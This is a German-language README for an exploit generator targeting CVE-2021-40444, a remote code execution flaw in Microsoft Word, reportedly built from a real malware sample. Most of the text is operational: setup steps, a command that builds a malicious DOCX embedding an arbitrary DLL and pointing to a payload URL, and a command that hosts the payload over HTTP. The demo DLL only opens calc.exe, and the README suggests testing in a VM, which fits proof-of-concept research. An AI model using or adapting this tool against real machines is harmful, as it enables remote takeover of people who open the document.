
Generiert bösartige DOCX-Dokumente, die CVE-2021-40444 (Microsoft Office Word RCE) ausnutzen, mit einem integrierten HTTP-Server für die Bereitstellung der Payload, basierend auf Reverse-Engineering von echten Schadcode-Beispielen.
Schädlicher docx-Generator zur Ausnutzung von CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Die Erstellung dieses Skripts basiert auf Reverse Engineering der in freier Wildbahn verwendeten Probe: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx-Datei)
Sie müssen zuerst lcab installieren (sudo apt-get install lcab)
Schauen Sie in die REPRODUCE.md für manuelle Reproduktionsschritte
Wenn Ihr generiertes cab nicht funktioniert, versuchen Sie, die exploit.html-URL auf calc.cab zu verweisen
Generieren Sie zuerst ein schädliches docx-Dokument mit einer DLL. Sie können die unter test/calc.dll verwenden, die einfach einen calc.exe durch einen Aufruf von system() startet.
python3 exploit.py generate test/calc.dll http://<SRV IP>

Sobald Sie das schädliche docx generiert haben (befindet sich in out/), können Sie den Server einrichten:
sudo python3 exploit.py host 80

Versuchen Sie abschließend das docx in einer Windows-Virtual-Maschine:
